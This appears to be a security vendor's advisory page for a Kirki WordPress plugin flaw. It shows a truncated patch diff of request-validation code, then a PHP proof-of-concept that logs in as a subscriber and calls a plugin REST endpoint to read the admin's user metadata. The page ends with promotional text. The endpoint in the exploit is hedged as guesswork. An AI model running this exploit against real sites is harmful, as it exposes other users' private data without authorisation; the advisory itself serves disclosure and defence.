+        return response()->json([
+            'data' => to_boolean($state),
+        ]);
+    }
 }
 No newline at end of file
--- a/kirki/app/Http/Requests/Apps/AppSettingsRequest.php
+++ b/kirki/app/Http/Requests/Apps/AppSettingsRequest.php
@@ -7,8 +7,17 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class AppSettingsRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'settings' => ensure_array($this->settings),
+        ]);
+    }
+
     public function rules()
     {
         return [
--- a/kirki/app/Http/Requests/CollaborationComment/CollaborationCommentStoreRequest.php
+++ b/kirki/app/Http/Requests/CollaborationComment/CollaborationCommentStoreRequest.php
@@ -6,8 +6,18 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class CollaborationCommentStoreRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'comment' => ensure_array($this->comment),
+            'meta_data' => ensure_array($this->meta_data),
+        ]);
+    }
+
     /**
      * Validation rules.
      */
--- a/kirki/app/Http/Requests/CollaborationRequest.php
+++ b/kirki/app/Http/Requests/CollaborationRequest.php
@@ -0,0 +1,42 @@
+<?php
+
+namespace KirkiAppHttpRequests;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+use function KirkiAppensure_array;
+
+class CollaborationRequest extends Request
+{
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'data' => ensure_array($this->data),
+        ]);
+    }
+
+    public function rules()
+    {
+        return [
+            'data' => 'required|array',
+            'data.*.parent' => 'nullable|string',
+            'data.*.parent_id' => 'nullable|integer',
+            'data.*.action' => 'nullable|array',
+            'session_id' => 'required|string',
+        ];
+    }
+
+    public function filters()
+    {
+        return [
+            'data' => Sanitizer::ARRAY,
+            'data.*.parent' => Sanitizer::TEXT,
+            'data.*.parent_id' => Sanitizer::INT,
+            'data.*.action' => Sanitizer::ARRAY,
+            'session_id' => Sanitizer::TEXT,
+        ];
+    }
+}
 No newline at end of file
--- a/kirki/app/Http/Requests/Collection/CollectionStoreRequest.php
+++ b/kirki/app/Http/Requests/Collection/CollectionStoreRequest.php
@@ -6,6 +6,8 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class CollectionStoreRequest extends Request
 {
     /**
@@ -13,15 +15,14 @@
      */
     protected function prepare_for_validation()
     {
-        $data = $this->get('data');
+        $data = ensure_array($this->get('data') ?? []);
+
+        $this->merge($data);

-        if (is_string($data)) {
-            $data = json_decode($data, true);
-        }
-
-        if (is_array($data)) {
-            $this->merge($data);
-        }
+        $this->merge([
+            'fields' => ensure_array($this->fields),
+            'basic_fields' => ensure_array($this->basic_fields),
+        ]);
     }

     /**
@@ -33,6 +34,7 @@
             'ID' => 'nullable',
             'post_title' => 'required|string',
             'post_name' => 'nullable|string',
+            'preset_type' => 'nullable|string',

             'fields' => 'nullable|array',
             'fields.*.id' => 'required|string',
@@ -41,6 +43,7 @@
             'fields.*.title' => 'required|string',
             'fields.*.help_text' => 'nullable|string',
             'fields.*.required' => 'required|boolean',
+            'fields.*.templateKey' => 'nullable|string',

             'basic_fields' => 'nullable|array',
         ];
@@ -55,6 +58,7 @@
             'ID' => Sanitizer::INT,
             'post_title' => Sanitizer::TEXT,
             'post_name' => Sanitizer::TEXT,
+            'preset_type' => Sanitizer::TEXT,

             'fields' => Sanitizer::ARRAY ,
             'fields.*.id' => Sanitizer::TEXT,
@@ -63,6 +67,7 @@
             'fields.*.title' => Sanitizer::TEXT,
             'fields.*.help_text' => Sanitizer::TEXT,
             'fields.*.required' => Sanitizer::BOOL,
+            'fields.*.templateKey' => Sanitizer::TEXT,

             'basic_fields' => Sanitizer::ARRAY ,
         ];
--- a/kirki/app/Http/Requests/CollectionItem/CollectionItemBulkActionRequest.php
+++ b/kirki/app/Http/Requests/CollectionItem/CollectionItemBulkActionRequest.php
@@ -6,8 +6,17 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class CollectionItemBulkActionRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'post_ids' => ensure_array($this->post_ids),
+        ]);
+    }
+
     /**
      * Validation rules.
      */
--- a/kirki/app/Http/Requests/CollectionItem/CollectionItemConditionRequest.php
+++ b/kirki/app/Http/Requests/CollectionItem/CollectionItemConditionRequest.php
@@ -0,0 +1,48 @@
+<?php
+
+namespace KirkiAppHttpRequestsCollectionItem;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+use function KirkiAppensure_array;
+
+class CollectionItemConditionRequest extends Request
+{
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'conditions' => ensure_array($this->conditions),
+        ]);
+    }
+
+    public function rules()
+    {
+        return [
+            'query' => 'nullable|string',
+            'conditions' => 'nullable|array',
+            'conditions.*.type' => 'nullable|string',
+            'conditions.*.post_type' => 'nullable|string',
+            'conditions.*.from' => 'nullable|string',
+            'conditions.*.to' => 'nullable|string',
+            'conditions.*.category' => 'nullable|string',
+            'conditions.*.where' => 'nullable|string',
+        ];
+    }
+
+    public  function filters()
+    {
+        return [
+            'query' => Sanitizer::TEXT,
+            'conditions' => Sanitizer::ARRAY,
+            'conditions.*.type' => Sanitizer::TEXT,
+            'conditions.*.post_type' => Sanitizer::TEXT,
+            'conditions.*.from' => Sanitizer::TEXT,
+            'conditions.*.to' => Sanitizer::TEXT,
+            'conditions.*.category' => Sanitizer::TEXT,
+            'conditions.*.where' => Sanitizer::TEXT,
+        ];
+    }
+}
 No newline at end of file
--- a/kirki/app/Http/Requests/CollectionItem/CollectionItemStoreRequest.php
+++ b/kirki/app/Http/Requests/CollectionItem/CollectionItemStoreRequest.php
@@ -7,6 +7,8 @@
 use KirkiFrameworkSanitizer;
 use KirkiFrameworkSupportsArr;

+use function KirkiAppensure_array;
+
 class CollectionItemStoreRequest extends Request
 {
     /**
@@ -27,6 +29,10 @@
         if (empty($data['post_status'])) {
             $this->merge(['post_status' => PostStatus::DRAFT]);
         }
+
+        $this->merge([
+            'fields' => ensure_array($this->fields),
+        ]);
     }

     /**
--- a/kirki/app/Http/Requests/DataRequest.php
+++ b/kirki/app/Http/Requests/DataRequest.php
@@ -7,27 +7,22 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
 use function KirkiFrameworkis_valid_json;

 class DataRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'data' => ensure_array($this->data),
+        ]);
+    }
+
     public function rules()
     {
         return [
-            'data' => [
-                'required',
-                function ($value) {
-                    if (is_array($value)) {
-                        return true;
-                    }
-
-                    if (is_valid_json($value)) {
-                        return true;
-                    }
-
-                    return __("The data must be an array or a valid JSON string.", 'kirki');
-                }
-            ],
+            'data' => 'required|array'
         ];
     }

--- a/kirki/app/Http/Requests/DownloadGoogleFontRequest.php
+++ b/kirki/app/Http/Requests/DownloadGoogleFontRequest.php
@@ -7,8 +7,17 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class DownloadGoogleFontRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'font' => ensure_array($this->font),
+        ]);
+    }
+
     public function rules()
     {
         return [
--- a/kirki/app/Http/Requests/Media/PaginatedMediaListRequest.php
+++ b/kirki/app/Http/Requests/Media/PaginatedMediaListRequest.php
@@ -12,12 +12,12 @@
     public function rules()
     {
         return [
-            'search' => 'string',
-            'category' => 'string',
-            'page' => 'integer|min:1',
-            'limit' => 'integer',
-            'sort_by' => 'string',
-            'sort_order' => 'string',
+            'search' => 'nullable|string',
+            'category' => 'nullable|string',
+            'page' => 'nullable|integer|min:1',
+            'limit' => 'nullable|integer',
+            'sort_by' => 'nullable|string',
+            'sort_order' => 'nullable|string',
         ];
     }

--- a/kirki/app/Http/Requests/Page/GlobalStyleRequest.php
+++ b/kirki/app/Http/Requests/Page/GlobalStyleRequest.php
@@ -2,6 +2,8 @@

 namespace KirkiAppHttpRequestsPage;

+use function KirkiAppensure_array;
+
 defined('ABSPATH') || exit;

 use KirkiFrameworkHttpRequest;
@@ -11,13 +13,20 @@

 class GlobalStyleRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'styles' => ensure_array($this->styles),
+        ]);
+    }
+
     public function rules()
     {
         return [
             'session_id' => 'required|string',
-            'styles' => 'array',
-            'styles.*' => 'array',
-            'styles.*.isGlobalStyle' => ['required', fn ($value) => is_falsy($value) ? __('The isGlobalStyle field is required.', 'kirki') : true],
+            'styles' => 'nullable|array',
+            'styles.*' => 'nullable|array',
+            'styles.*.isGlobalStyle' => ['required', fn($value) => is_falsy($value) ? __('The isGlobalStyle field is required.', 'kirki') : true],
         ];
     }

@@ -25,7 +34,7 @@
     {
         return [
             'session_id' => Sanitizer::TEXT,
-            'styles' => Sanitizer::ARRAY,
+            'styles' => Sanitizer::ARRAY ,
         ];
     }
 }
 No newline at end of file
--- a/kirki/app/Http/Requests/Page/PageDataRequest.php
+++ b/kirki/app/Http/Requests/Page/PageDataRequest.php
@@ -9,46 +9,55 @@
 use KirkiFrameworkHttpResponse;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class PageDataRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'data' => ensure_array($this->data),
+        ]);
+    }
+
     public function rules()
     {
         $rules = [
             'session_id' => 'required|string',
-            'is_staging' => 'boolean',
+            'is_staging' => 'nullable|boolean',
             'data' => 'required|array',
             'data.blocks' => 'prohibited',
             'data.styles' => 'prohibited',
             'data.usedStyles' => 'prohibited',
             'data.usedStyleIdsRandom' => 'prohibited',
             'data.usedFonts' => 'prohibited',
-
+
         ];

-        switch($this->page_content_type) {
+        switch ($this->page_content_type) {
             case 'blocks':
                 $rules = array_merge($rules, [
-                    'data.blocks' => 'array',
+                    'data.blocks' => 'nullable|array',
                 ]);
                 break;
             case 'styles':
                 $rules = array_merge($rules, [
-                    'data.styles' => 'array',
+                    'data.styles' => 'nullable|array',
                 ]);
                 break;
             case 'used-styles':
                 $rules = array_merge($rules, [
-                    'data.usedStyles' => 'array',
+                    'data.usedStyles' => 'nullable|array',
                 ]);
                 break;
             case 'used-style-ids-random':
                 $rules = array_merge($rules, [
-                    'data.usedStyleIdsRandom' => 'array',
+                    'data.usedStyleIdsRandom' => 'nullable|array',
                 ]);
                 break;
             case 'used-fonts':
                 $rules = array_merge($rules, [
-                    'data.usedFonts' => 'array',
+                    'data.usedFonts' => 'nullable|array',
                 ]);
                 break;
             default:
@@ -61,12 +70,12 @@
     public function filters()
     {
         return [
-            'data' => Sanitizer::ARRAY,
-            'data.blocks' => Sanitizer::ARRAY,
-            'data.styles' => Sanitizer::ARRAY,
-            'data.usedStyles' => Sanitizer::ARRAY,
-            'data.usedStyleIdsRandom' => Sanitizer::ARRAY,
-            'data.usedFonts' => Sanitizer::ARRAY,
+            'data' => Sanitizer::ARRAY ,
+            'data.blocks' => Sanitizer::ARRAY ,
+            'data.styles' => Sanitizer::ARRAY ,
+            'data.usedStyles' => Sanitizer::ARRAY ,
+            'data.usedStyleIdsRandom' => Sanitizer::ARRAY ,
+            'data.usedFonts' => Sanitizer::ARRAY ,
             'session_id' => Sanitizer::TEXT,
             'is_staging' => Sanitizer::BOOL,
         ];
--- a/kirki/app/Http/Requests/Page/PageRequest.php
+++ b/kirki/app/Http/Requests/Page/PageRequest.php
@@ -10,8 +10,19 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class PageRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'blocks' => ensure_array($this->blocks),
+            'conditions' => ensure_array($this->conditions),
+            'custom_template' => ensure_array($this->custom_template),
+        ]);
+    }
+
     public function rules()
     {
         return [
@@ -43,6 +54,8 @@
             ],
             'custom_template' => 'nullable|array',
             'custom_template.url' => 'nullable|url',
+            'content_manager_collection_id' => 'nullable|integer',
+            'content_manager_page_kind' => 'nullable|string|in:index,details',
         ];
     }

@@ -57,6 +70,8 @@
             'utility_page_type' => Sanitizer::TEXT,
             'custom_template' => Sanitizer::ARRAY,
             'custom_template.url' => Sanitizer::URL,
+            'content_manager_collection_id' => Sanitizer::INT,
+            'content_manager_page_kind' => Sanitizer::TEXT,
         ];
     }
-}
 No newline at end of file
+}
--- a/kirki/app/Http/Requests/Page/PageSettingsRequest.php
+++ b/kirki/app/Http/Requests/Page/PageSettingsRequest.php
@@ -7,18 +7,28 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class PageSettingsRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'seo_settings' => ensure_array($this->seo_settings),
+            'custom_code' => ensure_array($this->custom_code),
+        ]);
+    }
+
     public function rules()
     {
         return [
-            'page_title' => 'string',
-            'slug' => 'string',
-            'page_description' => 'string',
-            'post_status' => 'string',
-            'featured_image' => 'url',
-            'seo_settings' => 'array',
-            'custom_code' => 'array',
+            'page_title' => 'nullable|string',
+            'slug' => 'nullable|string',
+            'page_description' => 'nullable|string',
+            'post_status' => 'nullable|string',
+            'featured_image' => 'nullable|url',
+            'seo_settings' => 'nullable|array',
+            'custom_code' => 'nullable|array',
         ];
     }

--- a/kirki/app/Http/Requests/Page/PageUpdateRequest.php
+++ b/kirki/app/Http/Requests/Page/PageUpdateRequest.php
@@ -12,9 +12,9 @@
     public function rules()
     {
         return [
-            'post_title' => 'string',
-            'post_name' => 'string',
-            'post_status' => 'string',
+            'post_title' => 'nullable|string',
+            'post_name' => 'nullable|string',
+            'post_status' => 'nullable|string',
         ];
     }

--- a/kirki/app/Http/Requests/Page/PopupRequest.php
+++ b/kirki/app/Http/Requests/Page/PopupRequest.php
@@ -7,14 +7,25 @@
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkSanitizer;

+use function KirkiAppensure_array;
+
 class PopupRequest extends Request
 {
+    protected function prepare_for_validation()
+    {
+        $this->merge([
+            'blocks' => ensure_array($this->blocks),
+            'styleBlocks' => ensure_array($this->styleBlocks),
+            'usedFonts' => ensure_array($this->usedFonts),
+        ]);
+    }
+
     public function rules()
     {
         return [
-            'blocks' => 'array',
-            'styleBlocks' => 'array',
-            'usedFonts' => 'array',
+            'blocks' => 'nullable|array',
+            'styleBlocks' => 'nullable|array',
+            'usedFonts' => 'nullable|array',
         ];
     }

--- a/kirki/app/Http/Requests/Page/RenameStagingVersionRequest.php
+++ b/kirki/app/Http/Requests/Page/RenameStagingVersionRequest.php
@@ -0,0 +1,27 @@
+<?php
+
+namespace KirkiAppHttpRequestsPage;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+class RenameStagingVersionRequest extends Request
+{
+    public function rules()
+    {
+        return [
+            'version_id' => 'required|integer',
+            'name' => 'required|string',
+        ];
+    }
+
+    public function filters()
+    {
+        return [
+            'version_id' => Sanitizer::INT,
+            'name' => Sanitizer::TEXT,
+        ];
+    }
+}
 No newline at end of file
--- a/kirki/app/Http/Requests/Page/StagingVersionRequest.php
+++ b/kirki/app/Http/Requests/Page/StagingVersionRequest.php
@@ -0,0 +1,25 @@
+<?php
+
+namespace KirkiAppHttpRequestsPage;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+class StagingVersionRequest extends Request
+{
+    public function rules()
+    {
+        return [
+            'version_id' => 'required|integer',
+        ];
+    }
+
+    public function filters()
+    {
+        return [
+            'version_id' => Sanitizer::INT,
+        ];
+    }
+}
 No newline at end of file
--- a/kirki/app/Http/Requests/Post/PostSlugValidationRequest.php
+++ b/kirki/app/Http/Requests/Post/PostSlugValidationRequest.php
@@ -0,0 +1,33 @@
+<?php
+
+namespace KirkiAppHttpRequestsPost;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+class PostSlugValidationRequest extends Request
+{
+    /**
+     * Validation rules.
+     */
+    public function rules()
+    {
+        return [
+            'post_id' => 'nullable|integer',
+            'post_type' => 'required|string',
+            'post_name' => 'required|string',
+        ];
+    }
+
+    /**
+     * Sanitization filters.
+     */
+    public function filters()
+    {
+        return [
+            'post_id' => Sanitizer::INT,
+            'post_type' => Sanitizer::TEXT,
+            'post_name' => Sanitizer::TEXT,
+        ];
+    }
+}
--- a/kirki/app/Managers/PageManager.php
+++ b/kirki/app/Managers/PageManager.php
@@ -5,6 +5,7 @@
 defined('ABSPATH') || exit;

 use KirkiAppConstantsKirkiDateTimeFormat;
+use KirkiAppConstantsOptionKeys;
 use KirkiAppConstantsPageMetaKeys;
 use KirkiAppConstantsPostTypes;
 use KirkiAppModelsPage as PageModel;
@@ -12,12 +13,13 @@
 use KirkiAppModelsPostMeta;
 use KirkiAppSupportsFacadesGlobalData;
 use KirkiFrameworkCollectionsCollection;
+use KirkiFrameworkSupportsFacadesOption;
 use KirkiFrameworkConstantsDateTimeFormats;
-use KirkiFrameworkSupportsArr;
 use KirkiFrameworkSupportsFacadesDate;

 use function KirkiAppget_editor_mode;
 use function KirkiAppget_timezone;
+use function KirkiAppis_falsy;
 use function KirkiAppis_truthy;
 use function KirkiFrameworkcollection;
 use function KirkiFrameworkuser;
@@ -170,9 +172,10 @@
 	 * Update last edited datetime of stage version
 	 *
 	 * @param int $page_id
+	 * @param bool $has_legacy_global_style default false
 	 * @return array|false
 	 */
-	public function set_last_edited_datetime_of_stage_version(int $page_id)
+	public function set_last_edited_datetime_of_stage_version(int $page_id, bool $has_legacy_global_style = false)
 	{
 		$staged_versions = $this->get_all_staged_versions($page_id);

@@ -182,10 +185,10 @@
 			return false;
 		}

-		$this->staged_versions = $staged_versions->map(function ($item, $index) use ($total_versions) {
+		$this->staged_versions = $staged_versions->map(function ($item, $index) use ($total_versions, $has_legacy_global_style) {
 			if ($index === $total_versions - 1) {
 				$item['last_updated'] = Date::now(get_timezone(true))->format(DateTimeFormats::DB_DATETIME);
-				$item['no_legacy_global_style'] = true;
+				$item['no_legacy_global_style'] = !$has_legacy_global_style;
 			}

 			return $item;
@@ -259,7 +262,7 @@
 				return $this->staged_versions = collection();
 			}

-			$staged_versions = $this->create_first_stage_version($page_id);
+			$staged_versions = $this->create_first_stage_version_if_empty($page_id);
 		} else {
 			$staged_versions = collection($staged_versions);
 		}
@@ -289,9 +292,12 @@
 	 * @param int $page_id
 	 * @return Collection
 	 */
-	private function create_first_stage_version(int $page_id)
+	private function create_first_stage_version_if_empty(int $page_id)
 	{
-		$new_version = $this->add_stage_version($page_id, 1);
+		// When stage version is empty, it means there is legacy global style blocks
+		$has_legacy_global_style = true;
+
+		$new_version = $this->add_stage_version($page_id, 1, [], false, $has_legacy_global_style);

 		$style_blocks_old_data = PostMeta::get_meta_value($page_id, PageMetaKeys::STYLE_BLOCKS, []);
 		$this->save_style_blocks($page_id, $style_blocks_old_data, $new_version);
@@ -307,8 +313,8 @@

 		$kirki_block_data = PostMeta::get_meta_value($page_id, PageMetaKeys::BLOCKS, []);
 		$this->save_blocks($page_id, $kirki_block_data, $new_version);
-
-		return $this->publish_stage_version($page_id);
+
+		return $this->publish_stage_version($page_id, $has_legacy_global_style);
 	}

 	/**
@@ -318,9 +324,10 @@
 	 * @param int $version_number
 	 * @param array $prev_versions
 	 * @param array|false $being_restored
+	 * @param bool $has_legacy_global_style default false
 	 * @return int
 	 */
-	private function add_stage_version(int $page_id, int $version_number, array $prev_versions = [], $being_restored = false)
+	private function add_stage_version(int $page_id, int $version_number, array $prev_versions = [], $being_restored = false, $has_legacy_global_style = false)
 	{
 		$version_name = $being_restored
 			? sprintf(__('[Restored] %s', 'kirki'), $being_restored['name'])
@@ -328,6 +335,10 @@

 		$datetime = wp_date(KirkiDateTimeFormat::DB_DATETIME); // @todo: improve later

+		if (!empty($being_restored)) {
+			$has_legacy_global_style = !($being_restored['has_legacy_global_style'] ?? false);
+		}
+
 		$new_version = [
 			'version' => $version_number,
 			'edited_by_id' => user()->get_id(),
@@ -336,7 +347,7 @@
 			'last_updated' => $datetime,
 			'name' => $version_name,
 			'publish' => false,
-			'no_legacy_global_style' => true,
+			'no_legacy_global_style' => !$has_legacy_global_style,
 		];

 		$prev_versions[] = $new_version;
@@ -352,19 +363,20 @@
 	 * Publish stage version
 	 *
 	 * @param int $page_id
+	 * @param bool $has_legacy_global_style default false
 	 * @return Collection
 	 */
-	public function publish_stage_version(int $page_id)
+	public function publish_stage_version(int $page_id, bool $has_legacy_global_style = false)
 	{
 		$stage_must = false;
 		$version_id = $this->get_most_recent_stage_version($page_id, $stage_must);

 		$this->staged_versions = $this->get_all_staged_versions($page_id)
-			->map(function ($item) use ($version_id) {
+			->map(function ($item) use ($version_id, $has_legacy_global_style) {
 				$is_published = isset($item['version']) && intval($item['version']) === intval($version_id);

 				$item['publish'] = $is_published;
-				$item['no_legacy_global_style'] = true;
+				$item['no_legacy_global_style'] = !$has_legacy_global_style;

 				return $item;
 			});
@@ -379,6 +391,112 @@
 	}

 	/**
+	 * Rename stage version
+	 *
+	 * @param int $page_id
+	 * @param int $version_id
+	 * @param string $new_name
+	 * @return Collection
+	 */
+	public function rename_stage_version(int $page_id, int $version_id, string $new_name)
+	{
+		$staged_versions = $this->get_all_staged_versions($page_id, false);
+
+		$this->staged_versions = $staged_versions->map(function ($item) use ($version_id, $new_name) {
+				if (is_array($item) && isset($item['version']) && intval($item['version']) === $version_id) {
+					$item['name'] = $new_name;
+				}
+
+				return $item;
+			}
+		);
+
+		PostMeta::update_meta_value($page_id, PageMetaKeys::STAGED_VERSIONS, $this->staged_versions->to_array());
+
+		return $this->staged_versions;
+	}
+
+	/**
+	 * Remove stage version
+	 *
+	 * @param int $page_id
+	 * @param int $version_id
+	 * @return Collection
+	 */
+	public function remove_stage_version(int $page_id, int $version_id)
+	{
+		$stage_only = true;
+		$meta_keys = [];
+
+		foreach([
+			PageMetaKeys::STYLE_BLOCKS,
+			PageMetaKeys::GLOBAL_STYLE_BLOCK_DEPRECATED,
+			PageMetaKeys::USED_GLOBAL_STYLE_BLOCK_IDS,
+			PageMetaKeys::USED_STYLE_BLOCK_IDS,
+			PageMetaKeys::USED_FONT_LIST,
+			PageMetaKeys::BLOCKS
+		] as $key) {
+			$meta_keys[] = $this->get_staged_meta_name($key, $page_id, $version_id, $stage_only);
+		}
+
+		PostMeta::query()
+			->where('post_id', $page_id)
+			->where_in('meta_key', $meta_keys)
+			->delete();
+
+		$staged_versions = $this->get_all_staged_versions($page_id, false);
+
+		$this->staged_versions = $staged_versions->filter(function ($item) use ($version_id) {
+			// Filter out the version which is matched and not published
+			return !(
+				is_array($item)
+				&& isset($item['publish'], $item['version'])
+				&& is_falsy($item['publish'])
+				&& intval($item['version']) === $version_id
+			);
+		})->values();
+
+		PostMeta::update_meta_value($page_id, PageMetaKeys::STAGED_VERSIONS, $this->staged_versions->to_array());
+
+		return $this->staged_versions;
+	}
+
+	protected function restore_page_meta(string $meta_key,int $page_id, int $old_version_id, int $new_version_id)
+	{
+		$old_meta_key = $this->get_staged_meta_name($meta_key, $page_id, $old_version_id);
+		$old_data = PostMeta::get_m

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18347 - Kirki <= 6.1.1 Missing Authorization to Sensitive Information Disclosure via 'context' Parameter

/**
 * Proof of Concept for CVE-2026-18347
 * 
 * This PoC demonstrates how an authenticated attacker can exploit the missing authorization
 * check in the Kirki plugin's frontend collection endpoint to read arbitrary user metadata.
 * 
 * To run this PoC:
 * 1. Set $target_url to the base URL of the vulnerable WordPress site.
 * 2. Set $username and $password to valid subscriber/custom-level credentials.
 * 3. Execute the script from the command line.
 */

// Configuration
$target_url = 'http://localhost/wordpress'; // Change this to the target site's URL
$username = 'subscriber'; // Change this to the low-privileged user's username
$password = 'subscriber_password'; // Change this to the low-privileged user's password

// Target User ID to retrieve information for (e.g., 1 for admin)
$target_user_id = 1;

// Step 1: Authenticate to get a nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Fetch the admin page to get the REST API nonce
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract the nonce from the page source
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
if (!isset($matches[1])) {
    die('Failed to extract REST API nonce. Ensure the user can access the admin area.');
}
$nonce = $matches[1];

// Step 3: Craft the request to the vulnerable frontend collection endpoint
// The endpoint is likely within the kirki REST namespace. The specific route may vary.
// Based on the description, the 'context' parameter determines the data type to retrieve.
// Setting 'context' to a user-type and providing the target user ID should disclose metadata.

$vulnerable_endpoint = $target_url . '/wp-json/kirki/v1/frontend/collection';

$post_data = array(
    'context' => 'user', // This tells the plugin we want user data
    'id' => $target_user_id // The target user ID
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $vulnerable_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-WP-Nonce: ' . $nonce));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Analyze the response
$data = json_decode($response, true);
if ($data && isset($data['data'])) {
    echo "[+] Successfully retrieved user data for user ID: $target_user_idn";
    print_r($data['data']);
} else {
    echo "[-] Exploitation failed. The target might be patched or the endpoint URL is different.n";
    echo "Response: $responsen";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.